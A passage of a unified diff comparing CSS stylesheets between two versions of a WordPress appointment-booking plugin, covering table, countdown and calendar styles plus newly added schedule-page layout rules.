screen and (max-width:767px){.dataTables_wrapper .dataTables_info,.dataTables_wrapper .dataTables_paginate{float:none;text-align:center}.dataTables_wrapper .dataTables_paginate{margin-top:.5em}}@media screen and (max-width:640px){.dataTables_wrapper .dataTables_filter,.dataTables_wrapper .dataTables_length{float:none;text-align:center}.dataTables_wrapper .dataTables_filter{margin-top:.5em}}table.dataTable thead th div.DataTables_sort_wrapper{position:relative}table.dataTable thead th div.DataTables_sort_wrapper span{position:absolute;top:50%;margin-top:-8px;right:-18px}table.dataTable tfoot th.ui-state-default,table.dataTable thead th.ui-state-default{border-right-width:0}table.dataTable tfoot th.ui-state-default:last-child,table.dataTable thead th.ui-state-default:last-child{border-right-width:1px}.dataTables_wrapper .dataTables_paginate .fg-button{box-sizing:border-box;display:inline-block;min-width:1.5em;padding:.5em;margin-left:2px;text-align:center;text-decoration:none!important;cursor:pointer;color:#333;border:1px solid transparent}.dataTables_wrapper .dataTables_paginate .fg-button:first-child{border-top-left-radius:3px;border-bottom-left-radius:3px}.dataTables_wrapper .dataTables_paginate .fg-button:last-child{border-top-right-radius:3px;border-bottom-right-radius:3px}.dataTables_wrapper .ui-widget-header{font-weight:400}.dataTables_wrapper .ui-toolbar{padding:8px}.dataTables_wrapper.no-footer .dataTables_scrollBody{border-bottom:none}

 /* Countdown */

-.appCountdown-rtl{direction:rtl}.appCountdown-holding span{color:#888}.appCountdown-row{clear:both;width:100%;text-align:center}.appCountdown-show1 .appCountdown-section{width:98%}.appCountdown-show2 .appCountdown-section{width:48%}.appCountdown-show3 .appCountdown-section{width:32.5%}.appCountdown-show4 .appCountdown-section{width:24.5%}.appCountdown-show5 .appCountdown-section{width:19.5%}.appCountdown-show6 .appCountdown-section{width:16.25%}.appCountdown-show7 .appCountdown-section{width:14%}.appCountdown-section{display:block;float:left;font-size:75%;text-align:center}.appCountdown-amount{font-size:200%}.appCountdown-period{display:block}.appCountdown-descr{display:block;width:100%}
\ No newline at end of file
+.appCountdown-rtl{direction:rtl}.appCountdown-holding span{color:#888}.appCountdown-row{clear:both;width:100%;text-align:center}.appCountdown-show1 .appCountdown-section{width:98%}.appCountdown-show2 .appCountdown-section{width:48%}.appCountdown-show3 .appCountdown-section{width:32.5%}.appCountdown-show4 .appCountdown-section{width:24.5%}.appCountdown-show5 .appCountdown-section{width:19.5%}.appCountdown-show6 .appCountdown-section{width:16.25%}.appCountdown-show7 .appCountdown-section{width:14%}.appCountdown-section{display:block;float:left;font-size:75%;text-align:center}.appCountdown-amount{font-size:200%}.appCountdown-period{display:block}.appCountdown-descr{display:block;width:100%}

Only in /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/css: panels.css
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/css/schedules.css /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/css/schedules.css
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/css/schedules.css	2026-01-06 00:59:06.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/css/schedules.css	2026-03-10 03:48:28.000000000 +0000
@@ -1 +1,449 @@
-.ec{color-scheme:light;--ec-h:0;--ec-s:0%;--ec-l-300:91.00%;--ec-l-500:83.50%;--ec-l-600:78.40%;--ec-l-700:71.40%;--ec-bg-fallback-color:#fff;--ec-hs:var(--ec-h),var(--ec-s);--ec-color-300:hsl(var(--ec-hs),var(--ec-l-300));--ec-color-500:hsl(var(--ec-hs),var(--ec-l-500));--ec-color-600:hsl(var(--ec-hs),var(--ec-l-600));--ec-color-700:hsl(var(--ec-hs),var(--ec-l-700));--ec-border-color:var(--ec-color-500);--ec-accent-color:var(--ec-color-600);--ec-button-bg-color:var(--ec-bg-color);--ec-button-border-color:var(--ec-color-600);--ec-button-text-color:var(--ec-text-color);--ec-button-active-bg-color:var(--ec-color-300);--ec-button-active-border-color:var(--ec-color-700);--ec-button-active-text-color:var(--ec-button-text-color);--ec-event-bg-color:#039be5;--ec-event-text-color:#fff;--ec-bg-event-color:var(--ec-color-500);--ec-bg-event-opacity:0.3;--ec-list-day-bg-color:var(--ec-bg-color,var(--ec-bg-fallback-color));--ec-today-bg-color:rgba(255,220,40,.15);--ec-highlight-color:rgba(188,232,241,.3);--ec-popup-bg-color:var(--ec-bg-color,var(--ec-bg-fallback-color));--ec-now-indicator-color:#ea4335}.ec-dark .ec{color-scheme:dark;--ec-h:215;--ec-s:15%;--ec-l-300:25.50%;--ec-l-500:42.40%;--ec-l-600:49.80%;--ec-l-700:57.30%;--ec-bg-fallback-color:#22272e}@media(prefers-color-scheme:dark){.ec-auto-dark .ec{color-scheme:dark;--ec-h:215;--ec-s:15%;--ec-l-300:25.50%;--ec-l-500:42.40%;--ec-l-600:49.80%;--ec-l-700:57.30%;--ec-bg-fallback-color:#22272e}}.ec-timeline .ec-container{display:flex;flex:1 1 0%;min-height:0}.ec-timeline .ec-main{display:flex;flex-direction:column;min-width:0}.ec-timeline .ec-content{flex-direction:column}.ec-timeline .ec-body{flex:1 1 auto;overflow:auto}.ec-timeline .ec-body .ec-content{min-height:100%;min-width:-moz-max-content;min-width:max-content;position:relative}.ec-timeline .ec-body .ec-days{flex-shrink:0}.ec-timeline .ec-body .ec-days:not(:last-child){flex-grow:0}.ec-timeline .ec-header{overflow:hidden}.ec-timeline .ec-header .ec-days{min-width:-moz-max-content;min-width:max-content}.ec-timeline .ec-header .ec-day{display:flex;flex-basis:auto;flex-direction:column}.ec-timeline .ec-day,.ec-timeline .ec-header .ec-day:first-child .ec-day-head,.ec-timeline .ec-header .ec-day:first-child .ec-time:first-child{border:none}.ec-timeline .ec-day-head{border-style:none none none solid}.ec-timeline .ec-times{border-top:1px solid var(--ec-border-color);display:flex}.ec-timeline .ec-time{border-left:1px solid var(--ec-border-color);box-sizing:border-box;font-size:.95em;min-height:24px;overflow:hidden;text-overflow:ellipsis}.ec-timeline .ec-line,.ec-timeline .ec-time{width:72px}.ec-timeline .ec-events{height:100%;margin:0;position:relative}.ec-timeline .ec-event{position:absolute}.ec-timeline .ec-bg-event{height:100%;z-index:auto}.ec-timeline .ec-lines{display:flex}.ec-timeline .ec-line:not(:first-child):after{border-left:1px solid var(--ec-border-color);content:"";height:100%;pointer-events:none;position:absolute}.ec-timeline .ec-sidebar{border-right-style:solid;border:1px solid var(--ec-border-color);border-right:1px var(--ec-border-color);padding:0}.ec-timeline .ec-sidebar .ec-sidebar-title{border-bottom:1px solid var(--ec-border-color);box-sizing:initial;flex-shrink:0}.ec-timeline .ec-sidebar .ec-content{flex:1;overflow:hidden}.ec-timeline .ec-sidebar .ec-resource{flex-shrink:0;padding:0 8px}.ec-timeline .ec-sidebar .ec-resource:not(:last-child){border-bottom:1px solid var(--ec-border-color);flex-grow:0}.ec-timeline .ec-sidebar .ec-resource:last-child{flex-basis:100%!important}.ec-timeline .ec-sidebar .ec-resource span{padding-top:8px}.ec-time-grid .ec-body .ec-event{position:absolute}.ec-time-grid .ec-body .ec-event-title{position:sticky;top:0}.ec-time-grid .ec-body .ec-resizer{bottom:0;cursor:ns-resize;height:50%;left:0;max-height:8px;right:0}.ec-time-grid .ec-bg-event{width:100%;z-index:1}.ec-time-grid .ec-time{line-height:24px;position:relative;text-align:right;top:-12px}.ec-time-grid .ec-all-day .ec-time,.ec-time-grid .ec-header .ec-time{height:0;overflow-y:hidden;visibility:hidden}.ec-time-grid .ec-line,.ec-time-grid .ec-time{height:24px}.ec-time-grid .ec-lines{width:8px}.ec-time-grid .ec-line:not(:first-child):after{border-bottom:1px solid var(--ec-border-color);content:"";pointer-events:none;position:absolute;width:100%}.ec-time-grid .ec-body:not(.ec-compact) .ec-line:nth-child(2n):after{border-bottom-style:dotted}.ec-time-grid .ec-sidebar-title{height:0;overflow-y:hidden;text-align:right;visibility:hidden}.ec-time-grid .ec-all-day .ec-sidebar-title{height:auto;padding:8px 0;visibility:visible}.ec-day-grid .ec-body{flex:1 1 auto}.ec-day-grid .ec-body .ec-day{min-height:5em;position:relative}.ec-day-grid .ec-content{flex-direction:column;height:100%}.ec-day-grid .ec-uniform .ec-content{overflow:hidden}.ec-day-grid .ec-uniform .ec-days{flex:1 1 0%;min-height:0}.ec-day-grid .ec-uniform .ec-day{min-height:0}.ec-day-grid .ec-day:first-child{border-left:none}.ec-day-grid .ec-day-head{border:none;display:block;padding:4px 4px 3px;text-align:right}.ec-day-grid .ec-day-foot{bottom:0;font-size:.85em;padding:2px;position:absolute}.ec-day-grid .ec-day-foot a{cursor:pointer}.ec-day,.ec-days,.ec-resource{flex:1 1 0;max-width:100%;min-width:0}.ec{background-color:var(--ec-bg-color);color:var(--ec-text-color);display:flex;flex-direction:column;-webkit-tap-highlight-color:rgba(0,0,0,0)}.ec ::-webkit-scrollbar{background-color:transparent}.ec ::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:var(--ec-border-color);border:4px solid transparent;border-radius:8px;box-shadow:none;min-height:40px}.ec :hover::-webkit-scrollbar-thumb{background-color:var(--ec-accent-color)}.ec-hidden-scroll{display:none;flex-shrink:0;overflow-y:scroll;visibility:hidden}.ec-with-scroll .ec-hidden-scroll{display:block}.ec-toolbar{align-items:center;display:flex;flex:0 0 auto;justify-content:space-between;margin-bottom:1em}.ec-toolbar>*{margin-bottom:-.5em}.ec-toolbar>*>*{margin-bottom:.5em}.ec-toolbar>*>:not(:last-child){margin-right:.75em}.ec-title{margin:0}.ec-button{background-color:var(--ec-button-bg-color);border:1px solid var(--ec-button-border-color);border-radius:.25rem;font-size:1rem;line-height:1.5;padding:.375rem .75rem}.ec-button:not(:disabled){color:var(--ec-button-text-color);cursor:pointer}.ec-button.ec-active,.ec-button:not(:disabled):hover{background-color:var(--ec-button-active-bg-color);border-color:var(--ec-button-active-border-color);color:var(--ec-button-active-text-color);z-index:1}.ec-button-group{display:inline-flex}.ec-button-group .ec-button:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;margin-left:-1px}.ec-button-group .ec-button:not(:last-child){border-bottom-right-radius:0;border-top-right-radius:0}.ec-icon{display:inline-block;width:1em}.ec-icon.ec-next:after,.ec-icon.ec-prev:after{border-right:2px solid;border-top:2px solid;content:"";display:inline-block;height:.5em;position:relative;width:.5em}.ec-icon.ec-prev:after{transform:rotate(-135deg) translate(-2px,2px)}.ec-icon.ec-next:after{transform:rotate(45deg) translate(-2px,2px)}.ec-all-day,.ec-body,.ec-day,.ec-day-head,.ec-days,.ec-header{border:1px solid var(--ec-border-color)}.ec-header{display:flex;flex-shrink:0}.ec-header .ec-resource{flex-direction:column}.ec-header .ec-resource .ec-days{border-top-style:solid}.ec-header .ec-days{border-bottom:none}.ec-header .ec-day{line-height:24px;min-height:24px;overflow:hidden;text-align:center;text-overflow:ellipsis}.ec-all-day{border-top:none;flex-shrink:0}.ec-all-day .ec-days{border-bottom:none}.ec-all-day .ec-day{padding-bottom:4px;position:relative}.ec-body{overflow-x:hidden;overflow-y:auto;position:relative}.ec:not(.ec-list) .ec-body{border-top:none}.ec-sidebar{flex:0 0 auto;flex-direction:column;max-width:100%;padding:0 4px 0 8px;width:auto}.ec-content,.ec-sidebar{display:flex}.ec-list .ec-content{flex-direction:column}.ec-days,.ec-resource{display:flex}.ec-days{border-style:none none solid}.ec-days:last-child{border-bottom:none}.ec-day-grid .ec-days,.ec-resource .ec-days{flex:1 0 auto}.ec-day{border-style:none none none solid}.ec-day.ec-today{background-color:var(--ec-today-bg-color)}.ec-day.ec-highlight{background-color:var(--ec-highlight-color)}.ec-day.ec-other-month .ec-day-head{opacity:.3}.ec-list .ec-day{border:none}.ec-list .ec-day-head{background-color:var(--ec-list-day-bg-color);border-style:solid none;margin:-1px 0 0;padding:8px 14px;position:sticky;top:0;z-index:2}.ec-list .ec-day:first-child .ec-day-head{border-top:none}.ec-list .ec-day-side{float:right}.ec-list .ec-no-events{padding:5em 0;text-align:center}.ec-events{margin:0 6px 0 0}.ec-events.ec-preview,.ec-time-grid .ec-events{position:relative}.ec-all-day .ec-events,.ec-day-grid .ec-events{display:flow-root}.ec-event{background-color:var(--ec-event-bg-color);border-radius:3px;box-shadow:0 0 1px 0 var(--ec-border-color);box-sizing:border-box;color:var(--ec-event-text-color);display:flex;font-size:.85em;line-height:1.5;padding:2px;z-index:1}.ec-all-day .ec-event,.ec-day-grid .ec-event{position:relative}.ec-list .ec-event{background-color:transparent;border-radius:0;color:inherit;flex-direction:row;padding:8px 14px}.ec-event.ec-preview{opacity:.8;position:absolute;-webkit-user-select:none;-moz-user-select:none;user-select:none;width:100%;z-index:1000}.ec-event.ec-pointer{box-shadow:none;color:inherit;display:flex;pointer-events:none;position:absolute;-webkit-user-select:none;-moz-user-select:none;user-select:none;z-index:0}.ec-event-body{display:flex;flex-direction:column;width:100%}.ec-all-day .ec-event-body,.ec-day-grid .ec-event-body,.ec-timeline .ec-event-body{flex-direction:row}.ec-event-tag{border-radius:2px;margin-right:8px;width:4px}.ec-event-time{flex-shrink:0;margin:0 0 1px;overflow:hidden;white-space:nowrap}.ec-day-grid .ec-event-time,.ec-timeline .ec-event-time{margin:0 3px 0 0;max-width:100%;text-overflow:ellipsis}.ec-event-title{font-weight:inherit;margin:unset;overflow:hidden}.ec-all-day .ec-event-title,.ec-day-grid .ec-event-title,.ec-timeline .ec-event-title{min-height:1.5em;text-overflow:ellipsis;white-space:nowrap}.ec-list .ec-event-title{font-size:1rem}.ec-draggable{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;user-select:none}.ec-ghost{opacity:.5;pointer-events:none;-webkit-user-select:none;-moz-user-select:none;user-select:none}.ec-bg-events{position:relative}.ec-all-day .ec-bg-events,.ec-day-grid .ec-bg-events{inset:0;position:absolute}.ec-bg-event{background-color:var(--ec-bg-event-color);opacity:var(--ec-bg-event-opacity);position:absolute}.ec-all-day .ec-bg-event,.ec-day-grid .ec-bg-event{height:100%;z-index:auto}.ec-time{white-space:nowrap}.ec-popup{background-color:var(--ec-popup-bg-color);border:1px solid var(--ec-border-color);border-radius:6px;box-shadow:0 1px 3px 0 hsla(var(--ec-hs),50%,.15),0 4px 8px 3px hsla(var(--ec-hs),50%,.15);display:flex;flex-direction:column;min-width:180px;outline:1px solid transparent;padding:8px 10px 14px;position:absolute;top:0;width:110%;z-index:1010}.ec-popup .ec-day-head{display:flex;justify-content:space-between;text-align:left}.ec-popup .ec-day-head a{cursor:pointer;font-size:1.5em;line-height:.8}.ec-popup .ec-events{margin:0;min-height:0;overflow:auto}.ec-extra{height:100%;margin-left:-6.5px;overflow:hidden;position:relative;-webkit-user-select:none;-moz-user-select:none;user-select:none}.ec-now-indicator{border-top:2px solid var(--ec-now-indicator-color);pointer-events:none;position:absolute;width:100%;z-index:1005}.ec-now-indicator:before{background:var(--ec-now-indicator-color);border-radius:50%;content:"";height:12px;margin-top:-7px;pointer-events:none;position:absolute;width:12px}.ec-resizer{position:absolute;-webkit-user-select:none;-moz-user-select:none;user-select:none}.ec-all-day .ec-resizer,.ec-day-grid .ec-resizer,.ec-timeline .ec-resizer{bottom:0;cursor:ew-resize;max-width:8px;right:0;top:0;width:50%}.ec-dragging{cursor:pointer!important}.ec-resizing-y{cursor:ns-resize!important}.ec-resizing-x{cursor:ew-resize!important}
\ No newline at end of file
+.ec{color-scheme:light;--ec-h:0;--ec-s:0%;--ec-l-300:91.00%;--ec-l-500:83.50%;--ec-l-600:78.40%;--ec-l-700:71.40%;--ec-bg-fallback-color:#fff;--ec-hs:var(--ec-h),var(--ec-s);--ec-color-300:hsl(var(--ec-hs),var(--ec-l-300));--ec-color-500:hsl(var(--ec-hs),var(--ec-l-500));--ec-color-600:hsl(var(--ec-hs),var(--ec-l-600));--ec-color-700:hsl(var(--ec-hs),var(--ec-l-700));--ec-border-color:var(--ec-color-500);--ec-accent-color:var(--ec-color-600);--ec-button-bg-color:var(--ec-bg-color);--ec-button-border-color:var(--ec-color-600);--ec-button-text-color:var(--ec-text-color);--ec-button-active-bg-color:var(--ec-color-300);--ec-button-active-border-color:var(--ec-color-700);--ec-button-active-text-color:var(--ec-button-text-color);--ec-event-bg-color:#039be5;--ec-event-text-color:#fff;--ec-bg-event-color:var(--ec-color-500);--ec-bg-event-opacity:0.3;--ec-list-day-bg-color:var(--ec-bg-color,var(--ec-bg-fallback-color));--ec-today-bg-color:rgba(255,220,40,.15);--ec-highlight-color:rgba(188,232,241,.3);--ec-popup-bg-color:var(--ec-bg-color,var(--ec-bg-fallback-color));--ec-now-indicator-color:#ea4335}.ec-dark .ec{color-scheme:dark;--ec-h:215;--ec-s:15%;--ec-l-300:25.50%;--ec-l-500:42.40%;--ec-l-600:49.80%;--ec-l-700:57.30%;--ec-bg-fallback-color:#22272e}@media(prefers-color-scheme:dark){.ec-auto-dark .ec{color-scheme:dark;--ec-h:215;--ec-s:15%;--ec-l-300:25.50%;--ec-l-500:42.40%;--ec-l-600:49.80%;--ec-l-700:57.30%;--ec-bg-fallback-color:#22272e}}.ec-timeline .ec-container{display:flex;flex:1 1 0%;min-height:0}.ec-timeline .ec-main{display:flex;flex-direction:column;min-width:0}.ec-timeline .ec-content{flex-direction:column}.ec-timeline .ec-body{flex:1 1 auto;overflow:auto}.ec-timeline .ec-body .ec-content{min-height:100%;min-width:-moz-max-content;min-width:max-content;position:relative}.ec-timeline .ec-body .ec-days{flex-shrink:0}.ec-timeline .ec-body .ec-days:not(:last-child){flex-grow:0}.ec-timeline .ec-header{overflow:hidden}.ec-timeline .ec-header .ec-days{min-width:-moz-max-content;min-width:max-content}.ec-timeline .ec-header .ec-day{display:flex;flex-basis:auto;flex-direction:column}.ec-timeline .ec-day,.ec-timeline .ec-header .ec-day:first-child .ec-day-head,.ec-timeline .ec-header .ec-day:first-child .ec-time:first-child{border:none}.ec-timeline .ec-day-head{border-style:none none none solid}.ec-timeline .ec-times{border-top:1px solid var(--ec-border-color);display:flex}.ec-timeline .ec-time{border-left:1px solid var(--ec-border-color);box-sizing:border-box;font-size:.95em;min-height:24px;overflow:hidden;text-overflow:ellipsis}.ec-timeline .ec-line,.ec-timeline .ec-time{width:72px}.ec-timeline .ec-events{height:100%;margin:0;position:relative}.ec-timeline .ec-event{position:absolute}.ec-timeline .ec-bg-event{height:100%;z-index:auto}.ec-timeline .ec-lines{display:flex}.ec-timeline .ec-line:not(:first-child):after{border-left:1px solid var(--ec-border-color);content:"";height:100%;pointer-events:none;position:absolute}.ec-timeline .ec-sidebar{border-right-style:solid;border:1px solid var(--ec-border-color);border-right:1px var(--ec-border-color);padding:0}.ec-timeline .ec-sidebar .ec-sidebar-title{border-bottom:1px solid var(--ec-border-color);box-sizing:initial;flex-shrink:0}.ec-timeline .ec-sidebar .ec-content{flex:1;overflow:hidden}.ec-timeline .ec-sidebar .ec-resource{flex-shrink:0;padding:0 8px}.ec-timeline .ec-sidebar .ec-resource:not(:last-child){border-bottom:1px solid var(--ec-border-color);flex-grow:0}.ec-timeline .ec-sidebar .ec-resource:last-child{flex-basis:100%!important}.ec-timeline .ec-sidebar .ec-resource span{padding-top:8px}.ec-time-grid .ec-body .ec-event{position:absolute}.ec-time-grid .ec-body .ec-event-title{position:sticky;top:0}.ec-time-grid .ec-body .ec-resizer{bottom:0;cursor:ns-resize;height:50%;left:0;max-height:8px;right:0}.ec-time-grid .ec-bg-event{width:100%;z-index:1}.ec-time-grid .ec-time{line-height:24px;position:relative;text-align:right;top:-12px}.ec-time-grid .ec-all-day .ec-time,.ec-time-grid .ec-header .ec-time{height:0;overflow-y:hidden;visibility:hidden}.ec-time-grid .ec-line,.ec-time-grid .ec-time{height:24px}.ec-time-grid .ec-lines{width:8px}.ec-time-grid .ec-line:not(:first-child):after{border-bottom:1px solid var(--ec-border-color);content:"";pointer-events:none;position:absolute;width:100%}.ec-time-grid .ec-body:not(.ec-compact) .ec-line:nth-child(2n):after{border-bottom-style:dotted}.ec-time-grid .ec-sidebar-title{height:0;overflow-y:hidden;text-align:right;visibility:hidden}.ec-time-grid .ec-all-day .ec-sidebar-title{height:auto;padding:8px 0;visibility:visible}.ec-day-grid .ec-body{flex:1 1 auto}.ec-day-grid .ec-body .ec-day{min-height:5em;position:relative}.ec-day-grid .ec-content{flex-direction:column;height:100%}.ec-day-grid .ec-uniform .ec-content{overflow:hidden}.ec-day-grid .ec-uniform .ec-days{flex:1 1 0%;min-height:0}.ec-day-grid .ec-uniform .ec-day{min-height:0}.ec-day-grid .ec-day:first-child{border-left:none}.ec-day-grid .ec-day-head{border:none;display:block;padding:4px 4px 3px;text-align:right}.ec-day-grid .ec-day-foot{bottom:0;font-size:.85em;padding:2px;position:absolute}.ec-day-grid .ec-day-foot a{cursor:pointer}.ec-day,.ec-days,.ec-resource{flex:1 1 0;max-width:100%;min-width:0}.ec{background-color:var(--ec-bg-color);color:var(--ec-text-color);display:flex;flex-direction:column;-webkit-tap-highlight-color:rgba(0,0,0,0)}.ec ::-webkit-scrollbar{background-color:transparent}.ec ::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:var(--ec-border-color);border:4px solid transparent;border-radius:8px;box-shadow:none;min-height:40px}.ec :hover::-webkit-scrollbar-thumb{background-color:var(--ec-accent-color)}.ec-hidden-scroll{display:none;flex-shrink:0;overflow-y:scroll;visibility:hidden}.ec-with-scroll .ec-hidden-scroll{display:block}.ec-toolbar{align-items:center;display:flex;flex:0 0 auto;justify-content:space-between;margin-bottom:1em}.ec-toolbar>*{margin-bottom:-.5em}.ec-toolbar>*>*{margin-bottom:.5em}.ec-toolbar>*>:not(:last-child){margin-right:.75em}.ec-title{margin:0}.ec-button{background-color:var(--ec-button-bg-color);border:1px solid var(--ec-button-border-color);border-radius:.25rem;font-size:1rem;line-height:1.5;padding:.375rem .75rem}.ec-button:not(:disabled){color:var(--ec-button-text-color);cursor:pointer}.ec-button.ec-active,.ec-button:not(:disabled):hover{background-color:var(--ec-button-active-bg-color);border-color:var(--ec-button-active-border-color);color:var(--ec-button-active-text-color);z-index:1}.ec-button-group{display:inline-flex}.ec-button-group .ec-button:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;margin-left:-1px}.ec-button-group .ec-button:not(:last-child){border-bottom-right-radius:0;border-top-right-radius:0}.ec-icon{display:inline-block;width:1em}.ec-icon.ec-next:after,.ec-icon.ec-prev:after{border-right:2px solid;border-top:2px solid;content:"";display:inline-block;height:.5em;position:relative;width:.5em}.ec-icon.ec-prev:after{transform:rotate(-135deg) translate(-2px,2px)}.ec-icon.ec-next:after{transform:rotate(45deg) translate(-2px,2px)}.ec-all-day,.ec-body,.ec-day,.ec-day-head,.ec-days,.ec-header{border:1px solid var(--ec-border-color)}.ec-header{display:flex;flex-shrink:0}.ec-header .ec-resource{flex-direction:column}.ec-header .ec-resource .ec-days{border-top-style:solid}.ec-header .ec-days{border-bottom:none}.ec-header .ec-day{line-height:24px;min-height:24px;overflow:hidden;text-align:center;text-overflow:ellipsis}.ec-all-day{border-top:none;flex-shrink:0}.ec-all-day .ec-days{border-bottom:none}.ec-all-day .ec-day{padding-bottom:4px;position:relative}.ec-body{overflow-x:hidden;overflow-y:auto;position:relative}.ec:not(.ec-list) .ec-body{border-top:none}.ec-sidebar{flex:0 0 auto;flex-direction:column;max-width:100%;padding:0 4px 0 8px;width:auto}.ec-content,.ec-sidebar{display:flex}.ec-list .ec-content{flex-direction:column}.ec-days,.ec-resource{display:flex}.ec-days{border-style:none none solid}.ec-days:last-child{border-bottom:none}.ec-day-grid .ec-days,.ec-resource .ec-days{flex:1 0 auto}.ec-day{border-style:none none none solid}.ec-day.ec-today{background-color:var(--ec-today-bg-color)}.ec-day.ec-highlight{background-color:var(--ec-highlight-color)}.ec-day.ec-other-month .ec-day-head{opacity:.3}.ec-list .ec-day{border:none}.ec-list .ec-day-head{background-color:var(--ec-list-day-bg-color);border-style:solid none;margin:-1px 0 0;padding:8px 14px;position:sticky;top:0;z-index:2}.ec-list .ec-day:first-child .ec-day-head{border-top:none}.ec-list .ec-day-side{float:right}.ec-list .ec-no-events{padding:5em 0;text-align:center}.ec-events{margin:0 6px 0 0}.ec-events.ec-preview,.ec-time-grid .ec-events{position:relative}.ec-all-day .ec-events,.ec-day-grid .ec-events{display:flow-root}.ec-event{background-color:var(--ec-event-bg-color);border-radius:3px;box-shadow:0 0 1px 0 var(--ec-border-color);box-sizing:border-box;color:var(--ec-event-text-color);display:flex;font-size:.85em;line-height:1.5;padding:2px;z-index:1}.ec-all-day .ec-event,.ec-day-grid .ec-event{position:relative}.ec-list .ec-event{background-color:transparent;border-radius:0;color:inherit;flex-direction:row;padding:8px 14px}.ec-event.ec-preview{opacity:.8;position:absolute;-webkit-user-select:none;-moz-user-select:none;user-select:none;width:100%;z-index:1000}.ec-event.ec-pointer{box-shadow:none;color:inherit;display:flex;pointer-events:none;position:absolute;-webkit-user-select:none;-moz-user-select:none;user-select:none;z-index:0}.ec-event-body{display:flex;flex-direction:column;width:100%}.ec-all-day .ec-event-body,.ec-day-grid .ec-event-body,.ec-timeline .ec-event-body{flex-direction:row}.ec-event-tag{border-radius:2px;margin-right:8px;width:4px}.ec-event-time{flex-shrink:0;margin:0 0 1px;overflow:hidden;white-space:nowrap}.ec-day-grid .ec-event-time,.ec-timeline .ec-event-time{margin:0 3px 0 0;max-width:100%;text-overflow:ellipsis}.ec-event-title{font-weight:inherit;margin:unset;overflow:hidden}.ec-all-day .ec-event-title,.ec-day-grid .ec-event-title,.ec-timeline .ec-event-title{min-height:1.5em;text-overflow:ellipsis;white-space:nowrap}.ec-list .ec-event-title{font-size:1rem}.ec-draggable{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;user-select:none}.ec-ghost{opacity:.5;pointer-events:none;-webkit-user-select:none;-moz-user-select:none;user-select:none}.ec-bg-events{position:relative}.ec-all-day .ec-bg-events,.ec-day-grid .ec-bg-events{inset:0;position:absolute}.ec-bg-event{background-color:var(--ec-bg-event-color);opacity:var(--ec-bg-event-opacity);position:absolute}.ec-all-day .ec-bg-event,.ec-day-grid .ec-bg-event{height:100%;z-index:auto}.ec-time{white-space:nowrap}.ec-popup{background-color:var(--ec-popup-bg-color);border:1px solid var(--ec-border-color);border-radius:6px;box-shadow:0 1px 3px 0 hsla(var(--ec-hs),50%,.15),0 4px 8px 3px hsla(var(--ec-hs),50%,.15);display:flex;flex-direction:column;min-width:180px;outline:1px solid transparent;padding:8px 10px 14px;position:absolute;top:0;width:110%;z-index:1010}.ec-popup .ec-day-head{display:flex;justify-content:space-between;text-align:left}.ec-popup .ec-day-head a{cursor:pointer;font-size:1.5em;line-height:.8}.ec-popup .ec-events{margin:0;min-height:0;overflow:auto}.ec-extra{height:100%;margin-left:-6.5px;overflow:hidden;position:relative;-webkit-user-select:none;-moz-user-select:none;user-select:none}.ec-now-indicator{border-top:2px solid var(--ec-now-indicator-color);pointer-events:none;position:absolute;width:100%;z-index:1005}.ec-now-indicator:before{background:var(--ec-now-indicator-color);border-radius:50%;content:"";height:12px;margin-top:-7px;pointer-events:none;position:absolute;width:12px}.ec-resizer{position:absolute;-webkit-user-select:none;-moz-user-select:none;user-select:none}.ec-all-day .ec-resizer,.ec-day-grid .ec-resizer,.ec-timeline .ec-resizer{bottom:0;cursor:ew-resize;max-width:8px;right:0;top:0;width:50%}.ec-dragging{cursor:pointer!important}.ec-resizing-y{cursor:ns-resize!important}.ec-resizing-x{cursor:ew-resize!important}

+

+/* WPB Schedules */

+

+#app-schedules .app-front-admin h2 {

+	margin: 0;

+}

+

+#app-schedules .ec-week-view .ec-event.long,

+#app-schedules .ec-day-view .ec-event.long {

+	display:none;

+}

+

+.app-schedules-group {

+	position: relative;

+	margin-left: -20px;

+}

+

+.app-account-page .app-schedules-group {

+	margin-left: 0;

+}

+

+.app-schedules-group #app-navbar {

+	z-index: 100;

+	overflow: hidden;

+}

+

+#schedules-filter .app-dash-title {

+	display: none;

+}

+

+#schedules-filter div.app-actions {

+	justify-content: space-around;

+    gap: 10px 20px;

+}

+

+#schedules-filter .app-filter-ms {

+	width: 180px;

+	max-width: 400px;

+}

+

+#schedules-filter .app-filter-stats {

+	width: 150px;

+	max-width: 200px;

+}

+

+#schedules-filter .app-filter-weekdays {

+	width: 120px;

+	max-width: 200px;

+}

+

+#schedules-filter button.ui-multiselect {

+	width: 100%;

+}

+

+.app-filter-services.app-filter-ms {

+    flex-grow: 2;

+}

+

+.app-filter-workers.app-filter-ms {

+    flex-grow: 0.5;

+}

+

+.has-color .ui-multiselect-checkboxes label span {

+    margin-right: auto;

+}

+

+.has-color .ui-multiselect-checkboxes label {

+    display: flex;

+    padding: 3px 1px 3px 3px;

+    text-indent: 0;

+    justify-content: space-between;

+}

+

+.has-color .ui-multiselect-checkboxes a.pickcolor {

+	width: 20px;

+	height: 15px;

+	padding: 0;

+	margin-right: 3px;

+	cursor: default;

+}

+

+.has-color .ui-multiselect-checkboxes input {

+	align-self: center;

+}

+

+body[class*="schedules"] .ui-multiselect-header.ui-widget-header,

+body.app-account-schedules .ui-multiselect-header.ui-widget-header {

+	font-size: 11px;

+}

+

+body[class*="schedules"] .ui-multiselect-header.ui-widget-header a,

+body.app-account-schedules .ui-multiselect-header.ui-widget-header a {

+	display: flex;

+	align-items: center;

+}

+

+body[class*="schedules"] .ui-multiselect-menu,

+body.app-account-schedules .ui-multiselect-menu {

+	z-index: 1010;

+}

+

+body[class*="schedules"] .app-users-quick-book.ui-multiselect-menu,

+body.app-account-schedules .app-users-quick-book.ui-multiselect-menu {

+	z-index: 10002;

+	font-size: 11.5px;

+}

+

+.bp-user .app-users-quick-book.ui-multiselect-menu span {

